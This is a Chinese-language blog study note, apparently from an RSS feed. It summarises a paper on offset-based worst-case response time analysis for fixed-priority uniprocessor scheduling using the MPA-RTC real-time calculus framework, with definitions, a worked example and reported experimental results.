&lt;p&gt;基于偏移的响应时间分析技术通过考虑任务之间的释放时间依赖性来获得严格的最坏情况响应时间（WCRT）界限。任务或消息的最大响应时间变化（即最坏情况和最佳情况响应时间之间的差异）被用来计算分布式系统的端到端延迟（Palencia和Harbour，1998），（Tindell和Clark，1994）。因此，WCRT评估在确定分布式系统的紧密端到端延迟方面起着重要作用。在实时理论中，存在两种计算任务的WCRT的方法：经典的响应时间分析（RTA）方法和实时计算的模块化性能分析（MPA-RTC）。MPA-RTC起源于网络微积分（NC）。MPA-RTC提供了比基于RTA的技术更强大的抽象，并允许在任务、事件流和资源共享方面进行组合，这使得它成为分析分布式系统的有力候选者（Wandeler, 2006），（Perathoner, 2011）。然而，MPA-RTC的一个关键限制是它不能处理任务之间的偏移依赖，而经典的RTA技术可以处理它们。在本文中，我们提出了一种方法，使用MPA-RTC框架来考虑单处理器系统中固定优先级调度器的任务之间的偏移依赖关系。因此，我们的方法充分利用了MPA-RTC框架模型的优势。我们提出了新的启发式方法和近似方法，以减少基于偏移的RTA的固有复杂性。我们定量评估了我们的方法对最先进的基于偏移的RTA技术的有效性。&lt;/p&gt;
&lt;h3 id=&#34;introduction&#34;&gt;Introduction：&lt;/h3&gt;
&lt;p&gt;在实时系统中，任务或消息是一个可调度的实体，在响应一个定时事件（例如，定时器到期）或接收数据时被激活和执行。任务或消息之间的偏移依赖性确保了一组任务或消息的激活之间有固定的时间间隔，从而避免了同时激活。让我们考虑图1中描述的一个分布式系统的例子。该系统由三个任务𝜏1、𝜏2和𝜏3组成。任务𝜏1的工作完成后会激活任务𝜏2的工作，任务𝜏2的工作完成后会激活任务𝜏3的工作。任务之间的激活依赖关系是借助于偏移量来表达的。因此，在有偏移的系统中，任务的激活之间存在着一种强制的关系。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/dkrE3hUOnDw7LQC.png&#34; alt=&#34;image-20211107164640373&#34;&gt;&lt;/p&gt;
&lt;p&gt;一个任务的激活和完成时间之间所经过的时间等于一个任务的响应时间（图2）。一个任务可能会遇到来自更高优先级任务的干扰，从而延迟该任务的激活工作的完成。一个任务的WCRT等于该任务的激活工作所经历的最长的响应时间。忽视RTA中任务之间的激活依赖关系可能会产生比必要的更多的干扰。因此，有必要将时间偏移纳入计算模型，并扩展RTA以考虑到偏移依赖性。组合式分析框架，如MPA-RTC[1]和SymTA/S[2]将软件任务建模为一个抽象的组件。他们在组件层面上进行分析，单个任务的结果被传播到其他依赖的任务。系统的端到端延迟是通过汇总各个任务的结果得到的。因此，为了计算分布式系统的紧密端到端延迟，必须计算任务的紧密WCRT（见[3,4]）。在图1所示的示例系统中，任务𝜏2的激活抖动取决于任务𝜏1的WCRT。任务𝜏2的WCRT取决于其激活抖动。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/OTbxJKskjAQgaMV.png&#34; alt=&#34;image-20211107165049094&#34;&gt;&lt;/p&gt;
&lt;p&gt;如图1所示，任务之间的偏移关系在分布式系统中自然发生。偏移关系在单处理器系统中也被强制执行，因为有几个优点，包括减少输出抖动动作，提高资源利用率，消除资源访问协议（如优先级上限协议），以及增强任务集的可调度性[5-8]。一些实时嵌入式系统使用时间偏移。CAN总线中的一个控制器区域网络（CAN）节点可以传输多个带有偏移的周期性帧。周期性帧流的第一个实例被激活，从一个参考点，即CAN站准备传输的第一个时间点，有一个延迟，称为偏移量[9]。然后定期发送流的后续帧，以第一次传输为时间原点。消息偏移避免了来自同一CAN节点的消息流之间的争夺，并减少了CAN总线的峰值负荷[9,10]。另一个例子是基于AUTOSAR（AUTomotive Open System ARchitecture）[11]的实时操作系统。它使用激活偏移量来避免任务之间的抢占，并确保共享变量之间的数据一致性。基于AUTOSAR的操作系统使用计数器的概念来跟踪反复出现的定时事件（实时时钟刻度）。当计数器达到一个特定值时，AUTOSAR日程表就会过期。过期点被用作衡量一组时间偏移量的参考，每个偏移量被用作触发一组任务的激活源[11]。计划表可以被编程为一次过期或具有循环行为。
存在几种基于偏移量的RTA技术[3,4,12,13]，基于Lehoczky[14]介绍的繁忙期。然而，经典的RTA技术并没有明确地描述可用的处理器容量。经典的RTA技术通过一个迭代过程将可用容量隐含在响应时间方程中。MPA-RTC使用富有表现力的到达曲线对复杂的任务刺激进行建模，并使用服务曲线和抽象的处理组件对不同的调度策略进行建模[1]。MPA-RTC在服务曲线的帮助下明确地描述了可用的处理器能力。然而，MPA-RTC并不考虑任务之间的偏移依赖[1, 15]。在本文中，我们展示了一种在MPA-RTC框架中考虑任务间偏移依赖的通用方法。
一个任务的WCRT计算包括通过识别一组干扰任务的最坏情况下的到达模式来建立一个繁忙期，并计算该任务在繁忙期的间隔内所经历的最大干扰。在没有偏移依赖的系统中，WCRT是通过建立一个繁忙期来获得的，其中一个任务与其他干扰任务模拟释放。该任务和其他干扰任务的连续激活作业会尽快释放。任务的激活工作在繁忙期经历的最长响应时间等于任务的WCRT。对于有任务偏移的系统来说，识别产生任务的WCRT的关键释放瞬间并不是一件简单的事。它导致了一个组合问题，即必须探索不是一个而是几个繁忙期的间隔来确定任务的关键时刻[5,16]。在这项工作中，我们提出了一种可扩展的方法，通过结合启发式方法和近似方法来限制评估的繁忙期间隔的数量。&lt;/p&gt;
&lt;h4 id=&#34;经典响应时间分析&#34;&gt;经典响应时间分析&lt;/h4&gt;
&lt;p&gt;经典的RTA技术使用Lehoczky[14]提出的i级繁忙期的概念。i级繁忙期被定义为一个处理器忙于执行优先级高于或等于任务𝜏𝑖的任务的最大时间间隔[14]。任务𝜏𝑖的激活作业所经历的WCRT是通过检查i级繁忙期中的几个激活作业获得的（图3）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/FMihHDZxluR9571.png&#34; alt=&#34;image-20211107170059217&#34;&gt;&lt;/p&gt;
&lt;p&gt;task &lt;em&gt;𝜏𝑖&lt;/em&gt;计算公式：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/Uwvt7LVAiecgjRl.png&#34; alt=&#34;image-20211107170814346&#34;&gt;&lt;/p&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;𝑤𝑖(𝑞)是任务𝑞的第𝜏𝑖激活工作的完成时间，其中
𝑞∈N+。&lt;/li&gt;
&lt;li&gt;𝜈𝑖(𝑞)是任务𝑞𝑖的第1次激活作业的激活时间。&lt;/li&gt;
&lt;li&gt;𝑐𝑖是任务𝜏𝑖的最坏情况下的执行时间。&lt;/li&gt;
&lt;li&gt;𝑏𝑖是任务𝜏𝑖的最大阻塞时间。&lt;/li&gt;
&lt;li&gt;h𝑝𝑖是一组优先级高于任务𝜏𝑖的任务。&lt;/li&gt;
&lt;li&gt;𝑛+(𝛥)是任务𝜏𝑖在一个区间内的最大激活作业数。
区间内𝛥的最大激活作业数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;定点迭代一直进行到满足条件𝑤𝑖(𝑞)≤𝜈(𝑞+1)为止，即只要任务𝜏𝑖的连续激活作业(𝑞+1)在任务𝜏𝑖的激活作业完成之前到达。在图3中描述的i级繁忙期，任务𝜏𝑖的第四个激活作业在繁忙窗口𝑤𝑖（𝑞=3）完成后到达。因此，定点迭代收敛于𝑞=3。i级繁忙期（图3）包含任务𝜏𝑖的三个激活作业。WCRT的计算方法是：在第i级繁忙期，三个激活作业所经历的最长响应时间。&lt;/p&gt;
&lt;h4 id=&#34;使用实时微积分的响应时间分析&#34;&gt;使用实时微积分的响应时间分析&lt;/h4&gt;
&lt;p&gt;实时微积分的模块化性能分析（MPA-RTC）[1]在到达和服务曲线的帮助下进行响应时间分析，它是基于NC[17]。到达曲线是计算需求的模型，服务曲线是任何时间间隔内可用的计算资源的模型。MPA-RTC框架中的任务被建模为一个抽象的组件。MPA-RTC框架能够计算以不同调度策略调度的任务的响应时间，如固定优先级抢占式调度（FPPS）、固定优先级非抢占式调度（FPNS）、时分多址（TDMA）、先进先出（FIFO）和最早期限优先（EDF）[15]。下面，我们描述MPA-RTC中使用的NC的重要特性。NC主要处理一组函数或序列。𝐹, 其中𝐹等于一组非负的广义增加的函数或序列, 如果𝑡&amp;lt;0, 𝑓(𝑡)=0, 并且𝑓(𝑡)∈R+0. 当且仅当∀𝑠≥𝑡，𝑓(𝑠)≥𝑓(𝑡)时，一个函数或序列𝑓被称为广义增加[17]. 𝑓={𝑓(𝑡)}如果参数𝑡∈Z是离散的，则为序列；如果参数𝑡∈R是连续的，则为函数。&lt;/p&gt;
&lt;p&gt;定义1. 一个函数或序列𝑓∈𝐹的伪逆𝑓-1定义如下[17]。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;𝑓&lt;/em&gt;−1(&lt;em&gt;𝑥&lt;/em&gt;) = inf{&lt;em&gt;𝑡&lt;/em&gt; ∶ &lt;em&gt;𝑓&lt;/em&gt;(&lt;em&gt;𝑡&lt;/em&gt;) ≥ &lt;em&gt;𝑥&lt;/em&gt;}&lt;/p&gt;
&lt;p&gt;命题1（水平偏离）。设𝑓和𝑔是𝐹的两个函数或序列。𝐹的两条曲线𝑓和𝑔的图形之间的最大水平偏差可按以下方法计算[17] 。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/tvPNyLCR74uGnAM.png&#34; alt=&#34;image-20211107171853577&#34;&gt;&lt;/p&gt;
&lt;p&gt;定义3. 两个函数或序列𝑓和𝑔的最大加权卷积⊗和去卷积⊘定义如下。
两个函数或序列𝑓和𝑔的最大加法卷积⊗和去卷积⊘定义如下。[17]:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/lTwKVNCrBfjeIn6.png&#34; alt=&#34;image-20211107172315156&#34;&gt;
事件流描述了触发一个任务的激活工作的事件之间的时间关系。MPA-RTC借助累积到达函数𝑅[𝑢, 𝑣]来表示事件流的轨迹。&lt;/p&gt;
&lt;p&gt;定义4. 到达函数𝑅[𝑢, 𝑣)是一个累积函数，表示在时间间隔[𝑢, 𝑣]内到达的事件之和，其中𝑅[𝑢,𝑢]=0，而𝑢，𝑣∈R。
MPA-RTC框架中的事件流被建模为&lt;em&gt;𝛼&lt;/em&gt; = [&lt;em&gt;𝛼l , 𝛼u&lt;/em&gt; ]的到达曲线的元组。这些到达曲线代表了一个事件流的所有可能的痕迹。到达曲线的定义如下。&lt;/p&gt;
&lt;p&gt;定义5（[1]中的到达曲线定义）。让𝑅[𝑡, 𝑡 + 𝛥)表示在时间间隔[𝑡, 𝑡 + 𝛥)内到达事件流的事件数。那么到达曲线的相应下限𝛼𝑙和上限𝑢满足以下不等式
𝛼𝑙(𝛥)≤𝑅[𝑡,𝑡+𝛥)≤𝛼𝑢(𝛥)∀𝑡∈R, 𝛥∈R+0 （9）与到达函数类似，MPA-RTC 定义了一个服务函数
𝐶[𝑢,𝑣]来描述资源可用性。
定义6. 服务函数𝐶[𝑢,𝑣]是一个累积函数，表示在时间间隔[𝑢, 𝑣]内可用的计算资源单元的总和，其中𝐶[𝑢, 𝑢] = 0，𝑢, 𝑣∈R。
MPA-RTC使用一个服务曲线元组𝛽=[𝛽𝑙,𝛽𝑢]对系统可用的通信和计算资源进行建模。服务曲线的定义如下。
定义7（[1]中的服务曲线定义）。让𝐶[𝑡, 𝑡 + 𝛥]表示在时间区间[𝑡, 𝑡 + 𝛥]内可用的计算资源单位数量。那么，服务曲线的相应下限𝛽𝑙和上限𝛽𝑢满足以下不等式
𝛽𝑙(𝛥)≤𝐶[𝑡,𝑡+𝛥)≤𝛽𝑢(𝛥)∀𝑡∈R, 𝛥∈R+0 （10)。&lt;/p&gt;
&lt;p&gt;MPA-RTC借助不同的抽象处理组件来模拟不同的调度策略。根据资源共享方案（调度策略）和抽象处理组件之间的数据流，将所有抽象处理组件的到达和服务输入和输出相互连接，从而得到一个系统模型[1]。一个FIFO和EDF组件分别用于模拟FIFO和EDF调度策略。一个贪婪处理组件（GPC）被用来模拟FPPS和FPNS策略。一个GPC在先进先出的缓冲区中排队接收任务（事件）的激活作业，一旦资源可用，就以贪婪的方式处理激活作业[1]。GPC收到一个到达曲线的元组𝛼 = [𝛼𝑢,𝛼𝑙] 和一个服务曲线的元组𝛽 = [𝛽𝑢, 𝛽𝑙]作为输入，并产生一个传出的到达曲线元组 𝛼′ = [𝛼′𝑢,𝛼′𝑙]和一个传出的服务曲线元组 𝛽 ′ = [𝛽 ′𝑢 , 𝛽 ′𝑙 ] 。MPA-RTC制定了GPC的传递函数，将传入的到达和服务曲线转化为传出的到达和服务曲线。
使用最小加和最大加代数[17]。&lt;/p&gt;
&lt;p&gt;接着作者证明了几个Theorem:&lt;/p&gt;
&lt;p&gt;GPC转化函数：&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/Hxsep94iTOJuamX.png&#34; alt=&#34;image-20211107173344571&#34;&gt;&lt;/p&gt;
&lt;p&gt;任务𝑟𝑖的最坏情况下的响应时间被建模为GPC，其计算方法是：任务𝜏𝑖的上层到达曲线𝑢和下层服务曲线𝑙之间的最大水平偏差。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/ZsLhJMAed21Gnpg.png&#34; alt=&#34;image-20211107173447453&#34;&gt;&lt;/p&gt;
&lt;p&gt;在MPA-RTC中，到达和服务曲线被定义为无限的正实数范围𝛥∈R+0。对于实际实施来说，曲线的有限表示是必要的，而且对曲线的数学运算应该在有限的时间内完成。作品[18,19]使用了曲线的有限表示法，并计算了有限时间间隔内曲线之间的最大水平偏差，称为最大忙碌期大小，即𝑤(𝛼𝑢,𝛽𝑙)（图4）&lt;/p&gt;
&lt;p&gt;工作[18,19]表明，对于固定优先级调度策略FPPS和FPNS来说，超过最大繁忙期大小𝑤（𝛼𝑢,𝛽𝑙）的响应时间的计算与系统调度性无关，因此可以忽略。WCRT被计算为激活作业在最大繁忙期尺寸内经历的最大水平偏差，如图4所示。MPA-RTC(公式(16))计算的最大忙时尺寸𝑤(𝛼𝑢,𝛽𝑙)明确考虑了可用服务，而经典的RTA方法(公式(2))则没有考虑。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/QENTRnglwUBsmGf.png&#34; alt=&#34;image-20211107190307779&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;related-works&#34;&gt;Related works&lt;/h3&gt;
&lt;h4 id=&#34;基于经典的响应时间分析rta技术&#34;&gt;基于经典的响应时间分析（RTA）技术&lt;/h4&gt;
&lt;p&gt;介绍了异步系统&lt;/p&gt;
&lt;h4 id=&#34;基于网络微积分的技术&#34;&gt;基于网络微积分的技术&lt;/h4&gt;
&lt;p&gt;介绍了NC和RTA结合以及其他一些NC方面的作品&lt;/p&gt;
&lt;h4 id=&#34;paper-contribution&#34;&gt;Paper Contribution&lt;/h4&gt;
&lt;p&gt;介绍了文章的主要贡献：基于MPA-RTC框架计算时间偏移依赖的WRCT&lt;/p&gt;
&lt;p&gt;本文的重点是计算MPA-RTC框架中具有偏移依赖性的任务的WCRT。据我们所知，目前还没有考虑MPA-RTC框架的偏移依赖性的工作。我们解决了第4节中讨论的工作的局限性，以考虑到任意激活抖动的影响。我们为有偏移和激活抖动的任务推导出一套有限的关键到达模式，以执行有效的RTA。第4节中讨论的基于偏移量的RTA技术是难以解决的，其复杂程度是指数级的。尽管存在交易模型的近似和加速技术，但当系统在不同交易的任务之间表现出偏移依赖性时，它们并不适合。我们提出了一种可扩展的基于偏移量的RTA，通过结合启发式和近似式来降低偏移量分析的固有复杂性。&lt;/p&gt;
&lt;h3 id=&#34;文章结构&#34;&gt;文章结构&lt;/h3&gt;
&lt;p&gt;本文组织如下：我们在第6节中描述了我们工作中使用的系统模型。在第7节中，我们强调了MPA-RTC方法的局限性和处理偏移依赖关系的复杂性。在第8节中，我们提出了使用MPA-RTC框架为固定优先级调度策略FPPS和FPNS的基于偏移的RTA。在第9节中，我们提出了减少偏移分析的复杂性的技术。在第10节中，我们定量地评估了所提出的方法的有效性，该方法考虑了MPA-RTC框架的偏移量，并与最先进的偏移量分析技术进行了比较。本文在第11节结束。&lt;/p&gt;
&lt;h3 id=&#34;系统模型&#34;&gt;系统模型&lt;/h3&gt;
&lt;p&gt;让我们考虑一个固定优先级的抢占式或固定优先级的非抢占式调度器𝛱 ∶= (𝛤,𝛽𝛱𝑙 (𝛥)) 在单处理器上。一组𝑛任务 𝛤 ∶= {𝜏1, 𝜏2, &amp;hellip; 𝜏𝑛}被映射到调度器𝛱。这些任务按照优先级顺序编号，最小的数字（索引）被赋予具有最高优先级的任务。任务𝜏1具有最高优先级，任务𝜏𝑛具有最低优先级。我们定义𝛤𝑖 ={𝜏𝑘 ∈𝛤 ∣𝑘∈N，1≤𝑘≤𝑖，𝑛}为具有高于等于任务𝜏（𝜏 ∈𝛤）优先级的任务。在FPPS策略中，如果需要安排一个具有更高优先级的工作，那么正在执行的低优先级工作会被抢占。在FPNS策略中，任务之间不能互相抢占，一个正在执行的工作不会被抢占，即使在其执行期间有更高优先级的工作被请求，也会运行到完成。让𝛽𝛱𝑙（𝛥）对应于调度员𝛱的传入下层服务曲线。它的定义如下。&lt;/p&gt;
&lt;p&gt;下层服务曲线（𝛽𝛱𝑙（𝛥））表示调度器𝛱在任何长度为𝛥的时间间隔内所能处理的最小计算需求量[1]。&lt;/p&gt;
&lt;p&gt;在我们的系统模型中，一个任务𝜏𝑖由一个元组𝜏𝑖 ∶= (𝑐𝑖+ , 𝑑𝑖 , 𝑃𝑖 , 𝑂𝑖 , 𝐽𝑖 ) 表征，其中𝑐𝑖+是该任务的激活作业所要求的最坏情况执行时间（WCET）。𝑑𝑖是任务激活作业的相对期限，参数𝑃𝑖、𝑂𝑖和𝐽𝑖（𝑃𝑖∈N+，𝑂𝑖∈N，𝐽𝑖∈N）指定时间间隔𝐼̂𝑖 i。 e.𝐼̂𝑖 ={[𝑂𝑖+𝑘⋅𝑃𝑖, 𝑂𝑖+ 𝑘⋅𝑃𝑖 + 𝐽𝑖] ∣𝑘∈N}，从固定参考点看，激活任务𝜏𝑖的事件可能发生在这个时间段（图 5）。参数𝑂𝑖等于开始偏移量，代表从固定参考点开始的第一个激活区间。参数𝑃𝑖等于任务𝜏𝑖的激活期，表示间隔的周期性。 参数𝐽𝑖等于任务𝜏𝑖的工作所经历的最大激活抖动，表示间隔的长度。任务𝛼𝑖的上到达曲线𝑢(𝛥)，为一个时间间隔𝛥内的事件数量提供了上限，其获得方法如下[1] 。&lt;img src=&#34;https://i.loli.net/2021/11/07/y5xAZKgvVwE7sRG.png&#34; alt=&#34;image-20211107194232529&#34;&gt;&lt;/p&gt;
&lt;p&gt;基于事件的任务𝜏𝑖的上到达曲线通过将每个事件按WCET（𝑐𝑖+）的比例转换为基于资源的上到达曲线。表1中总结了我们工作中的重要记号。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/jTUrPFDz4fvQeXu.png&#34; alt=&#34;image-20211107194329287&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/BH3NqK5h2ZlQbWI.png&#34; alt=&#34;image-20211107194516426&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;problem-formulation&#34;&gt;Problem formulation&lt;/h3&gt;
&lt;p&gt;我们考虑一个固定优先级的抢占式调度器𝛱，其传入的下层服务曲线𝛽𝛱𝑙（𝛥）使用MPA-RTC框架建模，如图7所示。调度器𝛽𝛱𝑙（𝛥）的传入服务曲线𝛱为TDMA资源上一个周期为30ms、时隙大小为28.5ms的时隙的资源可用性（下限）。一个由两个任务{𝜏1 , 𝜏2 }组成的任务集𝛱被映射到调度器，其中𝜏1 = （2 ms,5 ms,10 ms,3 ms,2 ms），𝜏2 = （3 ms, 6 ms, 30 ms, 7 ms, 1 ms）。任务𝜏1和任务𝜏2从固定参考点的激活间隔如图6所示。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/08/I5VblvXfog28kuK.png&#34; alt=&#34;image-20211108151107073&#34;&gt;MPA-RTC用一个GPC链来模拟一个FPPS策略，如图7所示。任务集𝛤中的任务被建模为一个GPC。任务𝜏1的传入下限服务曲线等于调度器的传入下限服务，即𝛽1𝑙（𝛥）= 𝛽𝛱（𝛥）。𝛼1𝑢 , 𝛼2𝑢代表任务𝜏1和𝜎1的上层到达曲线。
任务𝜏2，用公式（16）得到。𝛽 ′𝑙 , 𝛽 ′𝑙代表任务𝜏1和任务𝜏2的出局下层服务曲线。一个任务的出站下限服务是用公式（14）计算的。服务曲线的传播反映了FPPS策略中任务的优先级[15]。低优先级的任务𝜏2只得到高优先级任务𝜏1留下的处理资源。因此，任务𝜏1的出站低服务曲线，即𝛽′𝑙被作为入站低服务曲线提供给下一个低优先级任务 任务𝜏2（图7)。任务集中的任务的上层到达曲线和下层服务曲线 任务集𝛤中的任务的传入上层到达曲线和下层服务曲线显示在图7。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/QL5oKJFD8uCSH1s.png&#34; alt=&#34;image-20211107195219216&#34;&gt;&lt;/p&gt;
&lt;p&gt;为了计算任务𝜏2的WCRT，使用公式（16）确定最大的繁忙期大小，即𝑤（𝛼2𝑢 ，𝛽2𝑙）为6.5ms（图7）。在区间𝑤(𝛼2𝑢 , 𝛽2𝑙)内的最大水平偏差对应于任务𝜏2的WCRT[18,19]。如图7所示，任务𝜏2的WCRT被计算为6.5ms。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/RYnQOcljCziSLdx.png&#34; alt=&#34;image-20211107200201751&#34;&gt;&lt;/p&gt;
&lt;p&gt;定义9. 一个i级空闲点是一个时间瞬间𝑡𝑜，在这个时间点上，每个在𝑡𝑜之前发布的、优先级高于或等于i的作业在时间𝑡𝑜之前已经完成[36]。
定义10. 一个i级繁忙期是指两个连续的i级空闲点之间长度不为零的时间间隔[𝑡𝑜,𝑡𝑜+𝛥], 在这个时间间隔内只有优先级高于或等于i的作业被处理, 其中𝛥∈R&amp;gt;0[36].
定义11（AggregateUpperArrivalFunction）。让我们定义𝑅𝑢𝛤𝑖 [𝑡𝑜, 𝑡𝑜 + 𝛥）作为一个聚合上到达函数，表示集合𝛤𝑖中的所有任务在一个时间间隔[𝑡𝑜 , 𝑡𝑜 + 𝛥）内要求的最大累积执行需求。
定义12（聚合下限服务函数）。让我们定义𝐶𝛤𝑙 [𝑡𝑜,𝑡𝑜 + 𝛥）作为一个聚合的下层服务函数，表示在一个时间间隔内[𝑡𝑜 , 𝑡𝑜 + 𝛥），可用于处理集合𝛤𝑖中所有任务激活作业的计算资源单元的最小数量。&lt;/p&gt;
&lt;p&gt;如图8所示，一个i级繁忙期间隔的开始和结束由i级空闲点标记。
根据定义10，我们可以推断，任务𝜏𝑖的WCRT发生在由任务𝜏𝑘激活作业启动的i级繁忙期之一（𝜏𝑘∈ 𝛤𝑖）。让我们考虑实例任务集𝛤的超周期区间[3 ms, 33 ms]。引起任务𝜏2的二级繁忙期的潜在二级空闲点是{3 ms,4 ms,5 ms,7 ms,8 ms,13 ms,14 ms,15 ms,23 ms, 24 ms,25 ms}中的一个值。上述集合中的每一个潜在的二级空闲点都对应于超时期内任务的独特到达模式。因此，对于一个有两个任务的简单任务集，需要探索的潜在忙碌期的数量等于11。潜在繁忙期的数量随着任务数、抖动和超期的增加而呈指数级增长。因此，我们需要一种有效的方法来限制带有偏移和抖动的任务的关键到达模式的数量，以实现一个可操作的基于偏移的RTA。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/bIYtOrnU9keMaus.png&#34; alt=&#34;image-20211107204112080&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;基于偏移的响应时间分析&#34;&gt;基于偏移的响应时间分析&lt;/h3&gt;
&lt;p&gt;在这一节中，我们详细描述了为固定优先级调度策略泛化基于抵消的RTA所涉及的一系列步骤（图9）。我们的方法包括以下几个步骤。
(1) 我们确定一个减少的潜在i级空闲点集合，启动一个i级繁忙期，可能会引起任务𝜏𝑖的WCRT。
(2) 在相位矩阵的帮助下，捕获对应于潜在i级空闲点集合的独特到达模式。
(3) 我们利用相位信息、调度策略类型和可用容量建立了一组最大的i级繁忙期。
(4) 我们从一组潜在的最大级别i繁忙期中获得被分析任务的激活工作所经历的WCRT。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://i.loli.net/2021/11/07/2TKjtU5OqpwQ7BF.png&#34; alt=&#34;image-20211107204525607&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;减少系统复杂度&#34;&gt;减少系统复杂度&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;通过启发式方法减少相位矩阵&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;相位矩阵𝑀𝑇̂𝛤𝑖包含在集合𝑇̂的每个测试点计算的相位向量集合。然而，并不是所有的相位向量都能促成最坏情况下的行为。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;近似法&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;确定一组具有抵消依赖性的任务的可行性是一个NP-hard问题[16]。因此，使用启发式方法作为降低复杂性的唯一方法是不够的。通过丢弃任务之间的依赖关系，并将偏移依赖关系限制在一个较小的集合中，偏移分析的复杂性会大大降低，因为它导致了超周期的减少[16]。任务𝜏1和任务𝜏2在固定偏移和固定抖动下发布的激活作业之间的最小时间间隔在[0, 𝐺𝐶 𝐷(𝑃1 , 𝑃2 )]的范围内。(定理3)。如果任务周期𝑃1和𝑃2是相对质数，则𝐺𝐶𝐷(𝑃1 , 𝑃2 )的值为1，任务𝜏1和𝜏2的激活作业之间的最小时间间隔等于0。在本节中，我们提出了一种新颖的近似方法，通过考虑任务集𝛤𝑖中一组周期的共同质数，而不是随机丢弃任务，来限制依赖关系。&lt;/p&gt;
&lt;p&gt;通过近似，我们限制了测试点并使偏移分析变得可行。由于近似可能导致悲观的最坏情况下的界限，因此最好设计一个灵活的近似因子来调整运行时间和分析的精确性之间的权衡。我们引入了一个近似系数𝛬（𝛬∈N+），作为偏移分析所考虑的测试点（i级繁忙期）数量的上限。因此，测试点的数量由任务集𝛤 𝑟贡献的测试点数量受到近似系数𝛬的限制。如果𝛬 ≥ |𝑇̂ |，则任务集𝛤𝑖中的所有𝛤任务都被设定为一个值。任务集𝛤𝑖中的任务被加入到𝛤𝑟集中。然而，对于近似系数被设定为一个值即𝛬 &amp;lt; |𝑇̂𝛤𝑖的情况，有必要从𝛤𝑖中选择一个任务子集附加到任务集𝛤𝑟，并确保为偏移分析考虑的测试点数量受到上限𝛬限制。&lt;/p&gt;
&lt;h3 id=&#34;实验验证&#34;&gt;实验验证&lt;/h3&gt;
&lt;p&gt;在这一节中，我们定量地评估了第9节中讨论的降低复杂性技术的有效性。我们在chronVAL[38]中实现了所提出的方法，这是INCHRON ToolSuite[39]中的一个形式化时序分析工具。chronVAL使用MPA-RTC框架来确定实时嵌入式系统的最坏情况界限。最先进的基于偏移的RTA技术没有考虑到任意传入的服务。相比之下，我们的计算模型和基于偏移的RTA能够考虑到任意传入的服务曲线。然而，为了与经典的基于偏移的RTA技术进行比较，我们考虑一个完全专用的单处理器，使用FPPS策略来安排任务。&lt;/p&gt;
&lt;p&gt;作者对比了几个前人的实验，并在自己提出的方法进行了比较&lt;/p&gt;
&lt;p&gt;实验结果表明：&lt;/p&gt;
&lt;p&gt;我们的方法比其他技术计算出更好的WCRT界限。我们的方法即使在利用率高达 𝑈=0.8的系统中也能得到非常高的调度性比率。在任务数𝑛=500的情况下，不考虑偏移的MPA-RTC认为没有一个任务集可以调度，Redell-RTA方法认为2000个任务集中有1368个任务集可以调度，而我们的方法认为2000个任务集中有1982个任务集可以调度。我们的方法比MPA-RTC的可调度性提高了约99.1%，而比Redell-RTA的可调度性提高了约30.7%。产生的任务系统具有较大的抖动分布[0 ; 0.2 𝑃]。因此，在Redell-RTA中，抖动对响应时间的贡献更加显著，导致高估了。我们的方法，尽管有近似值（𝛬=500），但计算出的界限比Redell-RTA更好。传统的MPA-RTC计算出的响应时间与传统的关键时刻的概念相符，假设所有的任务都是同步发布的。由于我们使用提议的带有偏移考虑的MPA-RTC克服了这一限制，我们的方法在现实的工业任务集上明显优于没有偏移考虑的传统MPA-RTC。&lt;/p&gt;
&lt;h3 id=&#34;总结和展望&#34;&gt;总结和展望&lt;/h3&gt;
&lt;p&gt;在本文中，我们提出了一种新的方法，使用基于MPA-RTC的系统模型来考虑固定优先级系统的偏移-挂起。我们在超时空内确定了一组潜在的i级空闲点，这些空闲点会对所分析的任务产生最坏情况下的干扰，并确定了WCRT。此外，我们提出了限制超周期内任务的关键到达模式的方法，以解决基于抵消的RTA的复杂性问题。我们通过一系列实验表明，我们的方法极大地提高了任务集的可调度性，并且在一个真实世界的汽车基准中优于最先进的RTA技术。我们通过使用具有大的和小的超周期的任务集进行实验，说明了我们的方法比其他最先进的基于偏移的RTA技术的可扩展性。
在我们的计算模型中，我们考虑了带有偏移和抖动的周期性事件模型，并借助元组（𝑃,𝑂,𝐽）来表示潜在的激活间隔。然而，我们的方法可以扩展到考虑其他事件模型，如突发事件[40]，方法是将元组（𝑃,𝑂,𝐽）扩展到类似于Gresser事件模型的元组集合[41]。将我们的偏移分析整合到分布式系统的更大的MPA-RTC分析框架中，以及对出站流量的编译，将在我们未来的工作中讨论。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>React再思考</title>
      <link>https://weivwang.github.io/studynotes/react%E5%86%8D%E6%80%9D%E8%80%83/</link>
